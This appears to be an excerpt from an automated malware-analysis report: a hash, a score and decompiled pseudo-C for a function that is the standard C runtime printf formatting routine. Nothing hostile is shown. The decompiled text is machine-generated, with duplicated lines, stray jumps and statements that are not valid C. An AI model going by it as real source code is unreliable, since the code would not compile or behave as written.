Instruction Fuzzy Hash: F991E6B0F40204BBDB28DB44DD82FAA7366AB48704F344559F5056B3C2D2B5EE81C79D

Uniqueness

Uniqueness Score: -1.00%

Function 00430167, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 241
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00430167(void* __eflags) {
				signed int* _t494;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t529;
				signed int _t547;
				void* _t558;
				signed int _t567;
				void* _t625;
				void* _t626;
				signed int _t627;
				void* _t629;
				void* _t630;

				L0:
				while(1) {
					L0:
					_t494 = E00420C00(_t627 + 0x14);
					_t630 = _t629 + 4;
					 *(_t627 - 0x298) = _t494;
					if(E0042F010() != 0) {
						goto L118;
					}
					L109:
					__edx = 0;
					if(0 == 0) {
						 *(__ebp - 0x32c) = 0;
					} else {
						 *(__ebp - 0x32c) = 1;
					}
					__eax =  *(__ebp - 0x32c);
					 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
					if( *(__ebp - 0x29c) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041F590();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x29c) != 0) {
						L117:
						while(1) {
							L190:
							if( *(_t627 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t627 - 0x10) & 0x00000040) != 0) {
								if(( *(_t627 - 0x10) & 0x00000100) == 0) {
									if(( *(_t627 - 0x10) & 0x00000001) == 0) {
										if(( *(_t627 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t627 - 0x14)) = 0x20;
											 *(_t627 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t627 - 0x14)) = 0x2b;
										 *(_t627 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t627 - 0x14)) = 0x2d;
									 *(_t627 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t627 - 0x2c4)) =  *((intOrPtr*)(_t627 - 0x18)) -  *(_t627 - 0x24) -  *(_t627 - 0x1c);
							if(( *(_t627 - 0x10) & 0x0000000c) == 0) {
								E00430BA0(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
							}
							E00430BE0( *(_t627 - 0x1c), _t627 - 0x14,  *(_t627 - 0x1c),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
							_t630 = _t630 + 0x10;
							if(( *(_t627 - 0x10) & 0x00000008) != 0) {
								if(( *(_t627 - 0x10) & 0x00000004) == 0) {
									E00430BA0(0x30,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
									_t630 = _t630 + 0x10;
								}
							}
							if( *(_t627 - 0xc) == 0) {
								L212:
								E00430BE0( *((intOrPtr*)(_t627 - 4)),  *((intOrPtr*)(_t627 - 4)),  *(_t627 - 0x24),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t627 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t627 - 0x2dc) = 0;
								 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 4));
								 *(_t627 - 0x2cc) =  *(_t627 - 0x24);
								while(1) {
									L206:
									 *(_t627 - 0x2cc) =  *(_t627 - 0x2cc) - 1;
									if( *(_t627 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t627 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t627 - 0x2c8))));
									_t547 = E00436BC0(_t627 - 0x2d0, _t627 - 0x2d8, 6,  *(_t627 - 0x32e) & 0x0000ffff);
									_t630 = _t630 + 0x10;
									 *(_t627 - 0x2dc) = _t547;
									 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 0x2c8)) + 2;
									if( *(_t627 - 0x2dc) != 0) {
										L209:
										 *(_t627 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t627 - 0x2d0) != 0) {
										L210:
										E00430BE0( *((intOrPtr*)(_t627 + 8)), _t627 - 0x2d8,  *(_t627 - 0x2d0),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t627 - 0x24c) >= 0) {
									if(( *(_t627 - 0x10) & 0x00000004) != 0) {
										E00430BA0(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
									}
								}
							}
							L216:
							if( *(_t627 - 0x20) != 0) {
								L0041D8B0( *(_t627 - 0x20), 2);
								_t630 = _t630 + 8;
								 *(_t627 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
								_t598 =  *(_t627 - 0x251);
								 *(_t627 + 0xc) =  *(_t627 + 0xc) + 1;
								if( *(_t627 - 0x251) == 0 ||  *(_t627 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t627 - 0x251) < 0x20 ||  *(_t627 - 0x251) > 0x78) {
										 *(_t627 - 0x310) = 0;
									} else {
										 *(_t627 - 0x310) =  *( *(_t627 - 0x251) + 0x4065b0) & 0xf;
									}
								}
								L7:
								 *(_t627 - 0x250) =  *(_t627 - 0x310);
								_t509 =  *(_t627 - 0x250) * 9;
								_t567 =  *(_t627 - 0x25c);
								_t598 = ( *(_t509 + _t567 + 0x4065d0) & 0x000000ff) >> 4;
								 *(_t627 - 0x25c) = ( *(_t509 + _t567 + 0x4065d0) & 0x000000ff) >> 4;
								if( *(_t627 - 0x25c) != 8) {
									L16:
									 *(_t627 - 0x318) =  *(_t627 - 0x25c);
									if( *(_t627 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t627 - 0x318) * 4 +  &M004309F0))) {
										case 0:
											L18:
											 *(_t627 - 0xc) = 0;
											_t512 = E0042F050( *(_t627 - 0x251) & 0x000000ff, E0041EA40(_t627 - 0x40));
											_t633 = _t630 + 8;
											__eflags = _t512;
											if(_t512 == 0) {
												L24:
												E00430B00( *(_t627 - 0x251) & 0x000000ff,  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t630 = _t633 + 0xc;
												goto L218;
											} else {
												E00430B00( *((intOrPtr*)(_t627 + 8)),  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t633 = _t633 + 0xc;
												_t572 =  *( *(_t627 + 0xc));
												 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
												_t598 =  *(_t627 + 0xc) + 1;
												__eflags = _t598;
												 *(_t627 + 0xc) = _t598;
												asm("sbb eax, eax");
												 *(_t627 - 0x27c) =  ~( ~( *(_t627 - 0x251)));
												if(_t598 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t524 = L0041F590();
													_t633 = _t633 + 0x14;
													__eflags = _t524 - 1;
													if(_t524 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t627 - 0x27c);
												if( *(_t627 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L0041F530(_t572))) = 0x16;
													E0041F2C0(_t558, _t572, _t625, _t626, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t627 - 0x2f4) = 0xffffffff;
													E0041EA10(_t627 - 0x40);
													_t502 =  *(_t627 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t73 = __ecx + 0x430a28; // 0x498d04
											__edx =  *_t73 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00430A10))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t97 = __ecx - 0x30; // -48
												__edx = __eax + _t97;
												 *(__ebp - 0x18) = __eax + _t97;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E00420C00(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t108;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E00420C00(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t116 = __ecx + 0x430a50; // 0x25e9003
											__edx =  *_t116 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M00430A3C))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t627 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t157 =  *(__ebp - 0x324) + 0x430abc; // 0xcccccc0d
											__ecx =  *_t157 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00430A80))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L88:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L90;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													L81:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x288) = E00420C00(__ebp + 0x14);
													__eflags =  *(__ebp - 0x288);
													if( *(__ebp - 0x288) == 0) {
														L83:
														__edx =  *0x43de98; // 0x4063f4
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
														L87:
														goto L190;
													}
													L82:
													__ecx =  *(__ebp - 0x288);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														L84:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L87;
													}
													goto L83;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041CB30(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041EA40(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x43de88; // 0xfb3c7abe
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041EA40(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x43de94; // 0xfb3c7abe
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041EA40(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x43de90; // 0xfb3c7abe
																	E00427990(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
															do {
																L190:
																if( *(_t627 - 0x28) != 0) {
																	goto L216;
																}
																goto L191;
															} while ( *(__ebp - 0x324) > 0x37);
															goto L72;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E00420C00(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E0042F030(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E00436BC0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													goto L0;
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L90:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00420C00(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L101:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0x43de98; // 0x4063f4
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L104:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L106:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L107:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L108;
													} else {
														L94:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x43de9c; // 0x4063e4
															 *(__ebp - 4) = __eax;
														}
														 *(__ebp - 0xc) = 1;
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x294) =  *(__ebp - 4);
														while(1) {
															L97:
															__edx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags =  *(__ebp - 0x290);
															if( *(__ebp - 0x290) == 0) {
																break;
															}
															L98:
															__ecx =  *(__ebp - 0x294);
															__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
															if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																break;
															}
															L99:
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
														}
														L100:
														 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
														__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
														 *(__ebp - 0x24) = __ecx;
														L108:
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
												case 0xc:
													L144:
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 0xd:
													L147:
													 *(__ebp - 0x260) = 0x27;
													L148:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														 *((char*)(__ebp - 0x14)) = 0x30;
														 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
														__eflags =  *(__ebp - 0x260) + 0x51;
														 *((char*)(__ebp - 0x13)) = __al;
